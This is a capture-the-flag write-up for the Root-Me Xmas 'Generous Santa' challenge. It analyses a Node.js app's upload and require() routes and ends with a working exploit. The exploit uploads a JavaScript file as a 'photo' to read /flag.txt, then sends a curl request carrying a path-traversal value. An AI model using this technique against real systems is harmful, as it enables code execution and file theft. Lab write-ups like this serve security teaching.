Root-Me Xmas - Generous Santa
Challenge
Upon connecting to the https://xmas.root-me.org/challenges web page and selecting the Generous Santa challenge, we are presented with the following infos :
Before going further by checking the source code let’s head out to the challenge web page and see what we have to deal with.
https://day1.challenges.xmas.root-me.org/
We have 2 pages to check out, the first one is the main page where we can see a list of items that we can add to Santa’s sack.
And the second one is a page where we can suggest a gift to Santa.
The second page is interesting because we can see that we can suggest a gift to Santa by providing a name and a photo. We will maybe have to exploit this feature to get the flag.
Analysing the source code
After downloading the source code of the app and unzipping it, we can see that we have the following folders and files :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Dockerfile
docker-compose.yml
src/
├── app.js
├── package.json
├── public/
│ ├── css/
│ │ └── style.css
│ ├── images/
│ │ ├── background.jpg
│ ├── models/
│ │ ├── buggati.js
│ │ ├── iphone.js
│ │ ├── ...
│ ├── routes/
│ │ ├── hotte.js
│ ├── views/
│ │ ├── index.ejs
│ │ ├── suggest.ejs
Based on the files and folders we can see that the app is being runned in a docker container and that it is using a javascript framework.
Let’s start by checking the Dockerfile
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM node:18-alpine
RUN apk update && apk add --no-cache wget curl netcat-openbsd
RUN addgroup -S santa && adduser -S santa -G santa
WORKDIR /usr/app
COPY ./src/package.json ./
RUN npm install
COPY ./src/ ./
COPY flag.txt /flag.txt
RUN chown santa:santa /flag.txt
USER santa
CMD ["npm", "start"]
The Dockerfile
is pretty simple, it is using the node:18-alpine
image, creating a user santa
and copying the source code to the /usr/app
directory. It also copies the flag.txt
file to the root directory and changes the owner to the santa
user. We already know where the flag is located upon reading the Dockerfile
.
Now let’s focus on the app.js
file :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const express = require('express');
const path = require('path');
const hotteRoutes = require('./routes/hotte');
const fs = require('fs');
const app = express();
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
app.use(express.static(path.join(__dirname, 'public')));
const availableProducts = [];
fs.readdirSync(path.join(__dirname, 'models')).forEach(file => {
const modelName = path.basename(file, '.js');
availableProducts.push(modelName);
});
app.get('/', async (req, res) => {
try {
const products = availableProducts.map(productName => {
const model = require(`./models/${productName}`);
return {
name: model.modelName,
description: model.schema.obj.description.default
};
});
res.render('index', { products });
} catch (err) {
res.status(500).send('Error when displaying products');
}
});
app.get('/suggest', (req, res) => {
res.render('suggest');
});
app.use('/api', hotteRoutes);
const PORT = 3000;
app.listen(PORT, () => {
console.log(`Server is running on port ${PORT}`);
});
The app.js
file is pretty simple, it is using the express
framework and is defining the routes for the app. 3 routes are defined :
/
: The main page where we can see the list of items that we can add to Santa’s sack./suggest
: The page where we can suggest a gift to Santa./api
: The route that is defined in thehotte.js
file.
Before continuing analysing the source code, let’s head back to the web page and see the requests that are being made when playing with the app.
Let’s click on the Add to sack
button for the Buggati
item and see what requests are being made :
I wont use Burp Suite for this challenge, I will use the browser’s developer tools to see the requests that are being made.
We can see that a POST request is being made to the /api/add
route with the following body :
1
2
3
{
"name": "Buggati"
}
If we look at the source code in the hotte.js
file, we can see that the /api/add
route is defined as follows :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const express = require('express');
const fs = require('fs');
const path = require('path');
const multer = require('multer');
const router = express.Router();
const storage = multer.memoryStorage();
const upload = multer({ storage: storage });
router.post('/add', async (req, res) => {
const { product } = req.body;
try {
const Gift = require(`../models/${product.toLowerCase()}`);
const gift = new Gift({ name: product, description: `Description of ${product}` });
output = gift.store();
res.json({ success: true, output: output });
} catch (error) {
res.status(500).json({ message: `Error adding the product ${product}. ${error.message}` });
}
});
The working of the /api/add
route is taking the product
name from the request body and is trying to create a new instance of the Gift
model with the name and description of the product. The store
method is then called on the gift
object and the output is returned in the response.
So if we want to add the bugatti item to Santa’s sack, we need to create a new instance of the Buggati
model and call the store
method on it. The store
method is defined in the bugatti.js
file as follows :
1
2
3
4
5
6
7
8
9
10
11
12
13
const mongoose = require('mongoose');
const bugattiSchema = new mongoose.Schema({
name: { type: String, default: 'Bugatti' },
description: { type: String, default: 'A luxury high-performance sports car.' }
});
bugattiSchema.methods.store = function() {
console.log('Bugatti stored in the sack.');
return this;
};
module.exports = mongoose.model('Bugatti', bugattiSchema);
We see the return this;
statement in the store
method, this means that the store
method is returning the object itself. This is interesting because we can see that the output of the store
method is being returned in the response of the /api/add
route.
Hmmmm, okay we have a hint here, we can maybe exploit this feature to get the flag and retrieve it from the output of the store
method.
Going back to the source code, we can see that the /api/suggest
route is defined in the hotte.js
file as follows :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
router.post('/suggest', upload.single('photo'), (req, res) => {
const { name } = req.body;
if (!name || !req.file) {
return res.status(400).json({ message: 'Name and photo are required.' });
}
const now = new Date();
const dateStr = now.toISOString().split('T')[0];
const timeStr = `${now.getHours()}-${now.getMinutes()}-${now.getSeconds()}`;
const tempDir = path.join('/tmp', `${dateStr}_${timeStr}`);
fs.mkdirSync(tempDir, { recursive: true });
const tempPath = path.join(tempDir, req.file.originalname);
fs.writeFile(tempPath, req.file.buffer, (err) => {
if (err) {
return res.status(500).json({ message: `Error saving the image: ${err.message}` });
}
console.log(tempPath);
res.json({ message: `Thank you! Santa will consider your suggestion.`, photoPath: tempPath });
});
});
The /api/suggest
route is taking the name
and photo
from the request body and is saving the photo in a temporary directory. The path of the photo is then returned in the response.
We now have all the puzzle pieces to solve the challenge, we need to suggest a gift to Santa by providing a name and a photo that is not a photo but a javascript model that will return the flag in the store
method. We will then use the /api/add
request to add the gift to Santa’s sack and retrieve the flag from the response.
Exploiting the app
Let’s create a new javascript model that will return the flag in the store
method :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
const mongoose = require("/usr/app/node_modules/mongoose");
const fs = require('fs');
const payloadSchema = new mongoose.Schema({
name: { type: String, default: 'Payload' },
description: { type: String, default: 'A luxury high-performance payload.' }
});
payloadSchema.methods.store = function() {
const data = fs.readFileSync('/flag.txt', 'utf8');
return data;
};
module.exports = mongoose.model('Payload', payloadSchema);
We need to include mongoose
using the absolute path because the node_modules
directory is not in the same directory as the model. We also need to include the fs
module to read the flag from the flag.txt
file.
Now let’s suggest the gift to Santa by providing the name Payload
and the photo that is the javascript model we just created. We will then use the /api/add
request to add the gift to Santa’s sack and retrieve the flag from the response.
After injecting the payload in the photo, we have its path
We just need to point to this path in the request to add the gift to Santa’s sack.
1
curl -kX POST https://day1.challenges.xmas.root-me.org/api/add -H 'Content-Type: application/json' -d "{\"product\":\"../../../tmp/2024-12-03_12-35-10/payload.js\"}"
And voila, we have the flag !